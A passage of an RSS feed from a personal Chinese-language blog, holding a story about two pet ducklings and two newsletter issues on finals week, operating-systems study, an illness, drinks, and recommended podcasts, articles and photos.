<p><a href="https://hosting.wavpub.cn/wuliaozhai/2023/06/12/vol-399-%E6%88%91%E4%BB%AC%E6%83%B3%E7%94%A8%E8%BF%99%E4%BA%9B%E6%B2%9F%E9%80%9A%E9%9A%BE%E9%A2%98%E9%9A%BE%E4%B8%BA%E9%BB%84%E6%89%A7%E4%B8%AD%EF%BC%8C%E6%B2%A1%E9%9A%BE%E4%BD%8F/" target="_blank" rel="noreferrer">vol.399 我们想用这些沟通难题难为黄执中，没难住</a></p>
<p>第一次听无聊斋的节目，很上头。</p>
<p><a href="https://buzaichang.xyz/episodes/trash" target="_blank" rel="noreferrer">S2E6 垃圾</a></p>
<p>第一次听重轻的节目，也很上头。那段 KPM 1000 一下子就让我想起年初流行的这个流浪地球2配乐标题。</p>
<p><a href="https://therabbithole.fireside.fm/14" target="_blank" rel="noreferrer">跳进兔子洞: 系统与人01丨如何「炒股」高考志愿？</a></p>
<p><a href="https://therabbithole.fireside.fm/15" target="_blank" rel="noreferrer">跳进兔子洞: 系统与人02丨在大学里，消失的这三年</a></p>
<p><a href="https://www.xiaoyuzhoufm.com/episode/649abbd32e8cc41505e86476" target="_blank" rel="noreferrer">254 银行买手：单伟建谈收购深圳发展银行往事</a></p>
<p><a href="https://www.xiaoyuzhoufm.com/episode/649eb1543e7f359f132f67ee" target="_blank" rel="noreferrer">255 政海轶闻：程潜与民国政治中的湖南派系</a></p>
<p><a href="https://www.xiaoyuzhoufm.com/episode/64a3f29c3ca7a656ff9617a1" target="_blank" rel="noreferrer">256 从瓦格纳谈私人军事服务商（PMC）今昔</a></p>
<p>当时第二天是要考雅思的。我硬着头皮熬到结局出炉。</p>
<hr>
<p>谢谢阅读！</p>
<p><a href="https://beautyyu.one/" target="_blank" rel="noreferrer">Beautyyu 言醴</a></p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[我家曾经有两只鸭子]]></title>
            <link>https://blog.yanli.one/there-were-two-ducks</link>
            <guid isPermaLink="false">https://blog.yanli.one/there-were-two-ducks</guid>
            <pubDate>Sat, 17 Jun 2023 16:00:00 GMT</pubDate>
            <description><![CDATA[在校园社区刷到有人问能不能在宿舍养小鸡，所以我想起了我家曾经有两只鸭子。]]></description>
            <content:encoded><![CDATA[<p>当时我回家的时候，室友神秘兮兮地告诉我：“看看我们家多了什么。”</p>
<p>是两只鸭子🦆。当时，我家多了两只鸭子。</p>
<p>我深感震撼。两只鸭子是小鸭子，室友逛早市的时候从市场买来的，或许是一种冲动消费。两只鸭子放在一个大纸箱子📦里，箱子底部垫了一半的毛巾，另一半放着水碗和饭碗。箱子顶上又用毛巾盖住一半，两只小鸭子就在阴影里，抱作一团，瑟瑟发抖。</p>
<p>而我家，是一个三猫家庭。</p>
<p>我对室友说，希望明天起床能看到这两只小鸭子还在。室友说，没关系，它们已经友好地来过，和新住民打过招呼了。</p>
<p>两只小鸭子分别叫“沃”、“你真的会瘦”。这两个名字就和主人的身世一样随意而不经考量。这是室友在回家的出租车椅背上看到的广告。这两个名字，一个过于简短模糊、另一个又冗长拗口，因此我们从未用名字叫过小鸭子。其实我们也分不清这两个名字分别属于哪只鸭子，毕竟它们是同一品种的绿头鸭。但它们确实是有名字的。</p>
<p>第二天，它们依然在纸箱子里，精神还略好了一点。第三天也是。每天回家我都会去看望一眼小鸭子，然后欣慰地说：“还没被吃掉”。室友幽怨地表示，如果它们遭遇不测，那一定是我干的。室友悉心照料小鸭子，还给它们买了大笼子和饲料。尽管室友在冲动消费后曾懊恼地表示：宁愿它们活不大。</p>
<p>但它们确实健康地长大了，以肉眼可见的速度。长大的鸭子有两大变化，一是更能叫唤、二是更能拉屎。</p>
<p>它们和其他鸟类一样能叫唤，在天亮的时候叫得尤欢。现在我们家是一个三猫两鸭家庭，每天夜里总是生机盎然。室友不堪其扰，到夜里就把鸭笼子换到远离人烟的地方。原先是在客厅，于是先搬到餐厅，再然后是搬到厨房。我想下次大抵是要进锅子了，不过这一天终究没等到。</p>
<p>拉屎倒不是长大后才这么能拉，但成长使得它们拉屎的力和量都变大了。白天鸭子们在阳台，笼子周围半米是难以接近的。晚上鸭子们进了屋子，似乎多少也就有所节制。但不论如何，家里总会浮着一层或浓或淡的鸭味。</p>
<p>室友每天都给鸭子换屎垫子，同时也把它们放出笼子活动活动。但它们不会活动太久，因为同时参与活动的还有卡卡。卡卡是一只花猫。</p>
<p>当它看见鸭子出笼了，便高兴地凑上前去。两只鸭子也一打激灵，四条小腿使劲蹬起来。它们先是从笼子往客厅跑，然后再从客厅跑回笼子，一头钻进笼子里去。室友关上栅栏门，今天鸭子们和卡卡的活动时间就结束了。</p>
<p>两只鸭子越长越大，笼子也放不下了。到了春末夏初，室友决定将它们放生到劳动公园。</p>
<p>第二天，我和小陈在劳动公园转了转，池塘上有几只绿头鸭漂游着。但我们没有找到“沃”、“你真的会瘦”。</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[花时来信 | 对期末周只有恨 | #0x02]]></title>
            <link>https://blog.yanli.one/hana-letter-0x02</link>
            <guid isPermaLink="false">https://blog.yanli.one/hana-letter-0x02</guid>
            <pubDate>Thu, 15 Jun 2023 16:00:00 GMT</pubDate>
            <description><![CDATA[但我还是百忙之中抽空摸鱼]]></description>
            <content:encoded><![CDATA[<p>近期继续学习操作系统。操作系统改变了我对 Service 这件事物的认知。过去我自然地依表象将操作系统看作一个服务，我提交任务给它去执行，同别的服务一样。然而计算机科学没有魔法，Service 根本上也是和 Hello World 用一样的代码构建的。如何实现通过状态转换实现 Service 的功能？听说南大 OS 是一门谈论状态的课，有机会一定学习一下。</p>
<p>操作系统本身是如何在多个 CPU 上并行的、是如何通过共享的 memory 管理自己的状态、又是如何管理并行 process 的、如何在逻辑上阻塞而物理上不占用资源（trap、sleeplock）、如何不阻塞地处理并发 IO (decoupling)… 操作系统的每个子问题似乎都对应计算机科学中的一大类问题，的确是一个核心的领域。</p>
<hr>
<p>期末周到了，被迫分出许多精力处理各种大作业 DDL 和期末考试。趁机学习了一下 <a href="https://nuxt.com/" target="_blank" rel="noreferrer">Nuxt.js</a> 作为数据库大作业的框架（是的这个数据库大作业被我用来写前端了）。配合了 <a href="https://vuetifyjs.com/en/" target="_blank" rel="noreferrer">Vuetify</a> 作为页面框架，以及 TiDB Cloud 的 <a href="https://www.pingcap.com/blog/introducing-chat2query-an-innovative-ai-powered-sql-generator-for-faster-insights/" target="_blank" rel="noreferrer">Chat to query</a> 功能，蹭了一把 ChATgPt。</p>
<p><img src="https://img.beautyyu.one/webp/njt1mh.png" alt="" loading="lazy"></p>
<hr>
<p>报名了雅思考试，感觉对自己的口语还有点没底…</p>
<hr>
<p>和小陈在雷暴雨天往海边的山上跑，<a href="https://www.xiaohongshu.com/explore/6486f51c000000001300506a" target="_blank" rel="noreferrer">偶遇雷暴雨中钓鱼的人类</a></p>
<p><a href="https://www.youtube.com/@vividmemory" target="_blank" rel="noreferrer">Youtube</a> &amp; <a href="https://www.xiaohongshu.com/user/profile/56d132764775a748d31aafd9" target="_blank" rel="noreferrer">小红书</a></p>
<hr>
<p>错过了 ospp 的截止期限，我要吐槽一下“没有修改也要修改”的系统设定…</p>
<p><img src="https://user-images.githubusercontent.com/32453863/243165995-50bb42ae-a480-47b7-a131-de03d52055cd.png" alt="" loading="lazy"></p>
<hr>
<p>和小陈在爬山的时候撞上一张巨大的蜘蛛网和蜘蛛，又刷到一个“广东早教益智游戏”，以至于晚上做了噩梦。</p>
<p><a href="https://t.me/ibuki_Kitakubu/59516" target="_blank" rel="noreferrer">ibuki🎮🎲🔭帰宅部</a></p>
<blockquote>
<p>昨晚梦见蹲在地上撸猫 然后一堆蟑螂悄无声息地爬到身上 站起来发现全是蟑螂 吓醒了
我的意思是这个沉浸式恐怖体验的成本是0元</p>
<p><a href="https://twitter.com/beautyyuyanli/status/1665976230892687363?s=20" target="_blank" rel="noreferrer">beautyyuyanli@mastodon.online on Twitter</a></p>
</blockquote>
<p>看来追求沉浸式体验最快捷的方法不是 Vision Pro 还是别的什么文化消费，而是做梦。</p>
<hr>
<blockquote>
<p>最近每天尝试做三件事情，「迭代已有产品，学日语，以及预研新产品」感觉压力还是蛮大的，最后发现，如果是以「时间长度」的方式切分每天的任务，是可以很轻松的安排很多事情的，但如果是以「任务进度」的方式来安排事情，我的舒适区是 1 件事，基本上全力以赴搞完一件事情后，就完全没脑力搞其他的了</p>
<p><a href="https://twitter.com/kevinzhow/status/1664569219869196290" target="_blank" rel="noreferrer">kevinzhow on Twitter</a></p>
</blockquote>
<p>也很符合我的状态，我想这是个分配精力的注意原则。</p>
<hr>
<blockquote>
<p>用我自己的语言解释的话。
时间复杂度的概念是：当你文本数据规模为n时，你检索耗时的方程…这个只取决于你的遍历方式。
跟它喜不喜欢吃CPU其实是两个概念。
复杂度描述的是数据翻倍时的时间耗时规模，做performance测量的是n=1时的基数。</p>
<p><a href="https://twitter.com/YaaMeZ29/status/1667051950200983557?s=20" target="_blank" rel="noreferrer">YaaMe.Z on Twitter</a></p>
</blockquote>
<p>这个讨论改变了我对“性能”的认知。自打接受算法竞赛的训练以来，我就一直以为时间复杂度和性能是一码事，然而并不能这么看。现在想来，时间复杂度衡量的是程序的“长度”，而 ”CPU” 衡量的是程序的“宽度”。</p>
<hr>
<blockquote>
<p>内容平台的核心逻辑不是把创作者的内容卖给观众，而是把观众卖给创作者</p>
<p>b 站好像没想明白这一点，所以终端变现一直是个痛；而抖音，我怀疑最终形态是买量 + 带货</p>
<p>内容付费和平台补贴会一直存在，但对于平台来说都属于混个吆喝不指望做大的业务</p>
<p><a href="https://twitter.com/NekoStranding/status/1669170216742555650" target="_blank" rel="noreferrer">毒猫鸡汤简称毒鸡汤🤔 on Twitter</a></p>
</blockquote>
<h2 id="信息食谱" tabindex="-1">信息食谱 <a class="header-anchor" href="#信息食谱" aria-label="Permalink to “信息食谱”">&#8203;</a></h2>
<h3 id="视频" tabindex="-1">视频 <a class="header-anchor" href="#视频" aria-label="Permalink to “视频”">&#8203;</a></h3>
<p><a href="https://www.youtube.com/watch?v=WflBIbpeLKQ" target="_blank" rel="noreferrer">https://www.youtube.com/watch?v=WflBIbpeLKQ</a></p>
<p>看了最近挺火的这个 Vision Pro 测评，钟文泽表现的激动和热情很有感染力。不过感觉钟文泽跟何同学长得有点像是怎么回事…</p>
<p><a href="https://www.bilibili.com/video/BV1eo4y1J7Mn/" target="_blank" rel="noreferrer">【XIA看 总第130期】对于等待，你们一无所知_哔哩哔哩_bilibili</a></p>
<p>瞎看时过多年居然更新了！如今似乎很常见的电影重命名解说，现在想来似乎就是从瞎看开始的。这期节目主观感受比原先质量差一些，不过什么能比恢复更新更重要呢。</p>
<p><a href="https://www.bilibili.com/video/BV1sz4y1b7sY" target="_blank" rel="noreferrer">【洛天依乐正绫】白石溪2023【原创曲PV付】_哔哩哔哩_bilibili</a></p>
<p>同样是青回作品。刚开始还没听出是白石溪。</p>
<h3 id="文章" tabindex="-1">文章 <a class="header-anchor" href="#文章" aria-label="Permalink to “文章”">&#8203;</a></h3>
<p><a href="https://mp.weixin.qq.com/s/i4WR5ULH1ZZYl8Watf3EPw" target="_blank" rel="noreferrer">AI 生成可扫码图像 — 新 ControlNet 模型展示</a></p>
<p>很酷炫的一个 ControlNet，将二维码转化为艺术作品，并且可以扫描！不过作者并没有公开发布这个 ControlNet，或许将来会作为一个商业产品发布。</p>
<p><a href="https://hackthedeveloper.com/python-decorator/?utm_source=substack&amp;utm_medium=email" target="_blank" rel="noreferrer">Python Decorator: Enhance Your Code With Wrapping Wizardry</a></p>
<p>Python 魔法！</p>
<p><a href="https://www.zhihu.com/question/341818752/answer/814004152?utm_id=0" target="_blank" rel="noreferrer">如果羊膜动物和两栖动物全部灭绝，鱼类还可能重新登陆吗? - 知乎</a></p>
<h3 id="播客" tabindex="-1">播客 <a class="header-anchor" href="#播客" aria-label="Permalink to “播客”">&#8203;</a></h3>
<p><a href="https://podcast.latepost.com/35" target="_blank" rel="noreferrer">晚点聊 LateTalk 35: 别做近视手术、干眼症没救、给眼镜多花钱没用：和英国视光医生聊聊天</a></p>
<p>最近换了一幅新眼镜，顺便听了这期播客。</p>
<p><a href="https://thatisbiz.fireside.fm/121" target="_blank" rel="noreferrer">商业就是这样: Vol.113 “新一线”十年，中国城市大改变</a></p>
<p><a href="https://www.xiaoyuzhoufm.com/episode/6479d125dfb3befd4beca46f" target="_blank" rel="noreferrer">250 大转型：漫谈德国社民党的百年得失</a></p>
<p><a href="https://www.xiaoyuzhoufm.com/episode/64635e41388701b5f4016fe9" target="_blank" rel="noreferrer">247 赛车经济、铁幕内外与F1的伟大复兴</a></p>
<p><a href="https://www.xiaoyuzhoufm.com/episode/647f05893501144e339fb074" target="_blank" rel="noreferrer">251 与伯樵漫谈帝制时代的科举取士</a></p>
<p><a href="https://thatisbiz.fireside.fm/122" target="_blank" rel="noreferrer">商业就是这样: Vol.114 可持续是大公司的面子工程吗？</a></p>
<h2 id="日常记录" tabindex="-1">日常记录 <a class="header-anchor" href="#日常记录" aria-label="Permalink to “日常记录”">&#8203;</a></h2>
<p><a href="https://photos.app.goo.gl/n4zJ1n5uTnzkPV9k9" target="_blank" rel="noreferrer">21 new items by Alice Bob</a></p>
<p><a href="https://lh3.googleusercontent.com/pw/AJFCJaVZvhhTzuYIc8LffEaVPlF7SHhOW5r4QhwHFH8-Q1QWvIkoFiok1jseVqD_n-gfuNA5soISbWAXabAH-CXYM-_6c4Yzt-Vrlpj35TkZCaUAs26sGxbzO1fkaPjaUWZRMTyvBtHpfVxbt0hG4TRiatCoHg=w2016-h1512-s-no?authuser=0" target="_blank" rel="noreferrer">举头三尺有神明</a></p>
<p>举头三尺有神明</p>
<p><a href="https://lh3.googleusercontent.com/pw/AJFCJaVWuhBlZdF5t-k7X1ChziEz9EXNMPqP1ZfhcXCaFF38342qB4T4Xis4WDFI_LAwrTNFomaq_KfusCGoI6Vw06NdAnuK_5sbZiBawN_ISmt8-eLkBmCZdED9q4snKP1USec_Bq7NnJleusTwoYpegGlYyw=w1280-h720-s-no?authuser=0" target="_blank" rel="noreferrer">https://lh3.googleusercontent.com/pw/AJFCJaVWuhBlZdF5t-k7X1ChziEz9EXNMPqP1ZfhcXCaFF38342qB4T4Xis4WDFI_LAwrTNFomaq_KfusCGoI6Vw06NdAnuK_5sbZiBawN_ISmt8-eLkBmCZdED9q4snKP1USec_Bq7NnJleusTwoYpegGlYyw=w1280-h720-s-no?authuser=0</a></p>
<p><a href="https://lh3.googleusercontent.com/pw/AJFCJaVzbDiot4ab_p82Nzn1N_3woTSekjEAgdG6p0gysBhkUyArBc_bIzHRXk3RWvfCsK0DWg7KafkkvXfoOWBVgylQanrgqlEExEDUamqyU4E-TwhXGie47r6etysdMCfgs_9MDTVrr3D8XBNeTA45YplEtw=w960-h1280-s-no?authuser=0" target="_blank" rel="noreferrer">荒弃小院</a></p>
<p>荒弃小院</p>
<p><a href="https://lh3.googleusercontent.com/pw/AJFCJaW9Ol2PjEQ5EDZIideaRmTshUsHMRbuZmTEWj_2mfzJBsyRiG6pxVaoiS4xTdZ9CRoaNBidSoYsoUGN_QSQ-oXxUUGMyKxyJxoBBk0Fjm6zXAylThCnZmqWpB2kGy5anCKG9cHvobGj-Sjtr_fjRULRhw=w2016-h1514-s-no?authuser=0" target="_blank" rel="noreferrer">圆月</a></p>
<p>圆月</p>
<p><a href="https://lh3.googleusercontent.com/pw/AJFCJaWT7wda1WEr77MyFTZked46PTXR4xO6bteSwhJ8Cj5BTGr9X9J7yQxFvh0Txi9remsCo30aWDaniZFG0PYn4-lVG-yqyr-4riBj6p_j39jvHu7yb9Tc_MFek4-rH2r3wyvsERI1Mj16JNvvsPbHdZZOOg=w1190-h1586-s-no?authuser=0" target="_blank" rel="noreferrer">富国山夜景</a></p>
<p>富国山夜景</p>
<p><a href="https://lh3.googleusercontent.com/pw/AJFCJaWPWV1BfKIyEoLCmR9hixDAoAK3b10lFgdHLA_uiKBz1whokH__NOckK8BxAnfdwM3YgLhh0JIXCslz3qULTut2SUJm_qYc1kOXatHTdDeuHDnexxSdEztqtYGl_Q1pJ2GFPFcuz5XYRU8iQXnBCb-ELQ=w960-h1280-s-no?authuser=0" target="_blank" rel="noreferrer">https://lh3.googleusercontent.com/pw/AJFCJaWPWV1BfKIyEoLCmR9hixDAoAK3b10lFgdHLA_uiKBz1whokH__NOckK8BxAnfdwM3YgLhh0JIXCslz3qULTut2SUJm_qYc1kOXatHTdDeuHDnexxSdEztqtYGl_Q1pJ2GFPFcuz5XYRU8iQXnBCb-ELQ=w960-h1280-s-no?authuser=0</a></p>
<p><a href="https://lh3.googleusercontent.com/pw/AJFCJaX3_0Xi3tebxLFPx-FpR071RaRstZ--mHGNw0GyBgvYqxQaOJ7pl90yJYpQKxqqM8FuYPEpgNzO7Gi1d-mEX4VCCkL72VJsSyUxUs8iN6hCYzSoAUe_9tJVHD5tWZHwaBBm_ieKweqIVWC2VoyZL7EeAA=w2016-h1512-s-no?authuser=0" target="_blank" rel="noreferrer">出墙玫瑰</a></p>
<p>出墙玫瑰</p>
<p><a href="https://lh3.googleusercontent.com/pw/AJFCJaVu0wvkNXwBbVF6SBClaL0Dr9n-UgGL-th5tRcrrKoQ3JoxkrCwqg2NmEx_S0rjU4mQ_9sjOAnfXlRF29vHrv_hOD9sab-jJLkenczSYbnnU76Qgq1E5X9mX6-qW7yHWlBoFyZsGE65R2reSGGoXIS4zw=w1190-h1586-s-no?authuser=0" target="_blank" rel="noreferrer">近海玫瑰</a></p>
<p>近海玫瑰</p>
<p><a href="https://lh3.googleusercontent.com/pw/AJFCJaWnkXypyKsznAKtDbYS3v6yJGzeObPjlgk6F9Eg6AmLIwNPUUbfAmKO2ObaDjLLA5xK4AvnADmmmjedANp9QHX2Dv859TvldpPoJiZG20xM07PK_IB9fkioXNMyW2GHMJSlzHJu6kJPOpD5Zxcq7RwlBQ=w1190-h1586-s-no?authuser=0" target="_blank" rel="noreferrer">一款有点失败的牛油果面包</a></p>
<p>一款有点失败的牛油果面包</p>
<p><a href="https://lh3.googleusercontent.com/pw/AJFCJaVEvbHBScHU4Mb0CXNfXelemt3u0s1CaCnFJXbLkgP5rTtCOco6RVv7fKXCZiefJn361POlfZulLbA-7uWPTut1wbeetzDox8DbCzwAaCkgQ0-KiB76SSHzT13aMSFk3skZRKkXwIrbQMBc10mP9uFP8w=w1190-h1586-s-no?authuser=0" target="_blank" rel="noreferrer">回收♻</a></p>
<p>回收♻</p>
<p><a href="https://lh3.googleusercontent.com/pw/AJFCJaXJQmMWVtFCUfeX6YHDaN_Cg-vwj29F7Tu6SVFZdphOh868920z3ASidMNdCIeoSsqhr7V3dODNWkZXDpoxblpmelU3YFm8apF8FEQXAR3fHdLrMHqUQXmVzWqAVXQ7WcL0sTD65_oacSXqsFeBo9jT-A=w1920-h1080-s-no?authuser=0" target="_blank" rel="noreferrer">街角的咖啡馆</a></p>
<p>街角的咖啡馆</p>
<p><a href="https://lh3.googleusercontent.com/pw/AJFCJaXC15x_vtg04KNu3LwrT-xnuiAUWODAuOW-upnPy9kSejtbcjOKunKhRV9XuU4-GwquAow_ezpHxg5Oa8g6HrqFRD9W2mWJ6gIC2GkM7eeMdklWbK5uiApjkIX7CO9smav-OFEff7vYYFYsifMsVT8CJw=w2016-h1386-s-no?authuser=0" target="_blank" rel="noreferrer">俩猫一纸盒</a></p>
<p>俩猫一纸盒</p>
<p><a href="https://lh3.googleusercontent.com/pw/AJFCJaURv3tEVViB5dcC9BiH23KYPjXi6pTAgXChvmdje1xoug4lRmsXAg8FeJ82y6SN8YfrJvYwbrxhHRUh3aIabptWdi9Ynnwk3draUdd5VeJYUq57u2qWIu6G5idGn-hkG_nxhxPiqYV-N_zjMYbTdpPJdA=w1190-h1586-s-no?authuser=0" target="_blank" rel="noreferrer">门外的繁华</a></p>
<p>门外的繁华</p>
<p><a href="https://lh3.googleusercontent.com/pw/AJFCJaVPPeoke0GVhEaaOE97VqVCwOIltyERK32ymCFC4Q-UzpFkjMCSlyUJsRzwUV6akcA7SU2co_tqpaqOAUPNPnQ2QdqrrMm-P4KzppJSexRrt0pjeHbz_26lkljGcOgffOk-gdHlGLsXrZs-OPvZcjUtWA=w1190-h1586-s-no?authuser=0" target="_blank" rel="noreferrer">https://lh3.googleusercontent.com/pw/AJFCJaVPPeoke0GVhEaaOE97VqVCwOIltyERK32ymCFC4Q-UzpFkjMCSlyUJsRzwUV6akcA7SU2co_tqpaqOAUPNPnQ2QdqrrMm-P4KzppJSexRrt0pjeHbz_26lkljGcOgffOk-gdHlGLsXrZs-OPvZcjUtWA=w1190-h1586-s-no?authuser=0</a></p>
<p><a href="https://lh3.googleusercontent.com/pw/AJFCJaU4CeFDWnwfyCCu7kkJ4ji3uiQzpRyc9MkF8tusEEOqL9QrMmWkbv7el0yRKmRNBnUSyslwZG4B4huPTBLxMH9Nu0dhqwoSx00jwXxvxYcQkKAYw1CZnJpd_v8e7YqZAeyKZVBYj-Bj2hDYVH6Pepa3mA=w1190-h1586-s-no?authuser=0" target="_blank" rel="noreferrer">花爱人</a></p>
<p>花爱人</p>
<p><a href="https://lh3.googleusercontent.com/pw/AJFCJaV_qxsuochk6BqVlaPAtgyqdW3ALoazSmw-_htZw4QzwH8p6lqtQU4zQLwTiqAzu4xvWjOwFT2HS9cxzUq4RvNtM5Lrgh5BxEwQbyeAJnKeOgLrsIhaNOb_8Av8ZSsUscLC_oLq36VC7CrYiMWfjgHDuw=w1190-h1586-s-no?authuser=0" target="_blank" rel="noreferrer">传说中的血腥玛丽，味道像番茄牛肉汤</a></p>
<p>传说中的血腥玛丽，味道像番茄牛肉汤</p>
<p><a href="https://lh3.googleusercontent.com/pw/AJFCJaXG0dWYLXb30qXT8HfPgimQFA_HZAoSKo77nEkPpjh-OPYAZzGi2gxV_MjJfcGA9u2Nl9qEwasz5hR32UWBz1cesujjHrps8pE3arghu72hz4TOHvxOGyp43OLeiEfRv3Dci6Xjn4_kMXydimfGhPhtag=w1190-h1586-s-no?authuser=0" target="_blank" rel="noreferrer">一家很棒的鸡尾酒吧</a></p>
<p>一家很棒的鸡尾酒吧</p>
<p><a href="https://lh3.googleusercontent.com/pw/AJFCJaUr3NO8dDpinLOe-02imzb8UUOchRL0GHw9-ZtvmW1fNmnl2ga3R2Mm5irgLOGvAhUjUiW402UgE97gswL1F9cfuqDWhAnjtOfxwfm9kFULGJ-kggrmhFKFemRdziytR4itQd88tXY1qUHwuLqpYCEzAQ=w1190-h1586-s-no?authuser=0" target="_blank" rel="noreferrer">似乎是有些历史的铁路局的楼</a></p>
<p>似乎是有些历史的铁路局的楼</p>
<p><a href="https://lh3.googleusercontent.com/pw/AJFCJaWCQ4WHKfwZuCKUiWb9wNlY97xyJpeMxdannuk0dnLnjl4gKiRpGPIzcGNomFeFhMhd6udcBgvpkn8ewN60A2tpdMubXOMbU6TchQ8Kpg-T4xY-jAGDfzAEa3Fqez3GcT0ZXrzUQWJHAMfItXR9_yxCbQ=w1190-h1586-s-no?authuser=0" target="_blank" rel="noreferrer">冰块里有彩虹</a></p>
<p>冰块里有彩虹</p>
<p><a href="https://lh3.googleusercontent.com/pw/AJFCJaUxxT_G9XvGKTy7w0FIW27XUrBjz66Yl2JvRqZ12t5pxOw9lt8EBftgkcM8suLxmLSxYlJnqzjRdNIBzywvC1t7J0GuvUksOqAqhCluCUG1ByX-9qvYLx4duJAPHEwGiBpu6k7YP8YMgM5542RQjwx4rg=w1190-h1586-s-no?authuser=0" target="_blank" rel="noreferrer">不知道是谁在树眼里塞的</a></p>
<p>不知道是谁在树眼里塞的</p>
<p><a href="https://lh3.googleusercontent.com/pw/AJFCJaVTjW15grZrPGqrGE8e8ryErhIp4i4aegUtq-2kg4kBrr71Y0_MI-9AXwKhbZ05C1CWHDedHQanQp3PNZVizBL70NDLnoqxrC46ry6KpjLCK7DRUMZF4RkoktSc8c5DfgTL0PK9os-f9kef5IyZWrrqXw=w1190-h1586-s-no?authuser=0" target="_blank" rel="noreferrer">困惑猫咪</a></p>
<p>困惑猫咪</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[花时来信 | 生病可真不好受 | #0x01 ]]></title>
            <link>https://blog.yanli.one/hana-letter-0x01</link>
            <guid isPermaLink="false">https://blog.yanli.one/hana-letter-0x01</guid>
            <pubDate>Wed, 31 May 2023 16:00:00 GMT</pubDate>
            <description><![CDATA[这期 Newsletter 记录了言醴在前两周生病的经历以及最近的生活和阅读记录。]]></description>
            <content:encoded><![CDATA[<p>大家好！我是言醴。首先祝大朋友们六一儿童节快乐！</p>
<p>这两周由于生病的缘故，没有做什么事情。过多的早八也消耗了太多的体力和心力。</p>
<p>前两周的周三，我一早起来准备上课。当时我在教室感到时不时的一阵腹痛。我不以为意，以为是没吃早饭引起的。当时吃过早饭后便缓解了许多，我也以为不过是偶然的难受。</p>
<p>周四晚上当我回家吃饭时，同样的阵痛再次发生了。比前一天更加不好受，小陈告诉我可能是肚子堵了。周五早上实在难受地疼醒了，下楼买了泻药。但情况并不是便秘，腹泻也没能缓解疼痛。下午我以为好些了，便出门散散步，甚至还吃了一碗炒酸奶。傍晚还是去了医院急诊。</p>
<p><img src="https://img.beautyyu.one/webp/wfh05u.jpg" alt="" loading="lazy"></p>
<p>急诊挂的是普通外科的号，医生只是确认了一下疼痛的位置，认为大概只是偶然的功能性障碍。然而他还是给我开了血液检查和彩超。血液检查只是抽了两管血就完成了，倒是彩超排了好久队伍。最终血液检查发现了炎症，开了一周分量的左氧氟沙星。</p>
<hr>
<p>腹痛的情况有所好转，但到了又一个周三，同样是早八上课，我却感到肩背酸痛，喉咙有些发硬。睡眠也由于赶早八而有所不足，中午和小陈吃午饭时都睁不开眼了。周四肩背酸痛有所缓解，但喉咙更紧了。到了周五，喉咙终于哑了。再然后就是些许的咳嗽。</p>
<p>虽然没有测试过，但考虑到室友感染了新冠，我大约也是第二次感染了新冠。所幸这次感染影响不大，我也没有专门服药。</p>
<hr>
<p>新的 vlog！<a href="https://www.youtube.com/@vividmemory" target="_blank" rel="noreferrer">油管</a> &amp; <a href="https://www.xiaohongshu.com/user/profile/56d132764775a748d31aafd9" target="_blank" rel="noreferrer">小红书</a></p>
<p><a href="https://www.youtube.com/shorts/FJ7_qcengMg" target="_blank" rel="noreferrer">https://www.youtube.com/shorts/FJ7_qcengMg</a></p>
<p><a href="https://www.youtube.com/shorts/MbOWxLC_2eU" target="_blank" rel="noreferrer">https://www.youtube.com/shorts/MbOWxLC_2eU</a></p>
<hr>
<p>这周小陈觉得自己行了，所以喝了不少酒。第一次喝了獭祭，该说是名不虚传吧，这款清酒入口甘醇无味，没有一点酒精的刺激感，入喉以后才有其清香的回甘。</p>
<p>昨天喝到的一款威士忌又与之相反，从头到尾都是浓烈的香气与热辣，只可惜我不知道名字（嘿嘿）。</p>
<p><img src="https://img.beautyyu.one/webp/mpumj0.jpg" alt="两款有气泡的酒" loading="lazy"></p>
<p>两款有气泡的酒</p>
<p><img src="https://img.beautyyu.one/webp/7fpimk.jpg" alt="百利甜兑乌龙茶" loading="lazy"></p>
<p>百利甜兑乌龙茶</p>
<hr>
<p>最近还整理了一下自己的信息管理方式，包括整理了 RSS 订阅源和记账方式。</p>
<p><a href="https://www.inoreader.com/reader/subscriptions/export/user/1006346356/label/Daily" target="_blank" rel="noreferrer">我订阅的日报类 RSS (OPML 格式)</a></p>
<p><a href="https://xiaowenz.com/blog/2022/08/finance-management/" target="_blank" rel="noreferrer">不记账的个人财务管理说明书</a></p>
<h2 id="信息食谱" tabindex="-1">信息食谱 <a class="header-anchor" href="#信息食谱" aria-label="Permalink to “信息食谱”">&#8203;</a></h2>
<h3 id="文章" tabindex="-1">文章 <a class="header-anchor" href="#文章" aria-label="Permalink to “文章”">&#8203;</a></h3>
<p><a href="https://kobzol.github.io/rust/python/2023/05/20/writing-python-like-its-rust.html?utm_source=substack&amp;utm_medium=email" target="_blank" rel="noreferrer">Writing Python like it’s Rust</a></p>
<p>Rust 以其严格的类型定义而著称，这种严格预防了很多种类的 Bug，编码体验也叫人又爱又恨。Python 又是一种动态类型语言，在最近的版本中大幅加强了类型定义的功能。所以本文介绍了如何像写 Rust 一样写 Python，可以在一定程度上用 Python 获得 Rust 的体验。</p>
<p><a href="https://pudding.cool/2022/12/yard-sale/?ref=xin-wen-shi-yan-shi-newsletter" target="_blank" rel="noreferrer">Why the super rich are inevitable</a></p>
<p>本文提供了交互式的网页程序，解释了巨大的贫富差距是如何产生的。看似公平的制度和相同的概率游戏，却总是使得富者越富穷者越穷，其中的玄妙在于：同样的筹码对于穷人来说风险更高。</p>
<p><a href="https://www.zhihu.com/question/446090848/answer/2238993077" target="_blank" rel="noreferrer">请问如何判断一个动词后是加 to do，还是加 doing？ - 知乎</a></p>
<p><a href="https://www.zhihu.com/question/348715562/answer/3031481115" target="_blank" rel="noreferrer">「虚与委蛇」中的「蛇」为什么读yi? - 知乎</a></p>
<h3 id="播客" tabindex="-1">播客 <a class="header-anchor" href="#播客" aria-label="Permalink to “播客”">&#8203;</a></h3>
<p><a href="https://therabbithole.fireside.fm/12" target="_blank" rel="noreferrer">跳进兔子洞: 乐园01丨 关于「一日男友」的幻想、沉迷和破灭</a></p>
<p>跳进兔子洞终于更新了第二季！这个节目的内容与其名字非常契合，总能带着读者跳进不一样的世界。比如本期节目让我见识到了有本职年入数百万的人会在业余时间当 coser 给“夫人”们造梦…..</p>
<p><a href="https://www.xiaoyuzhoufm.com/episode/645a2f74c27c214d378753d0" target="_blank" rel="noreferrer">245 杨念群谈清代帝王如何重塑“大一统”</a></p>
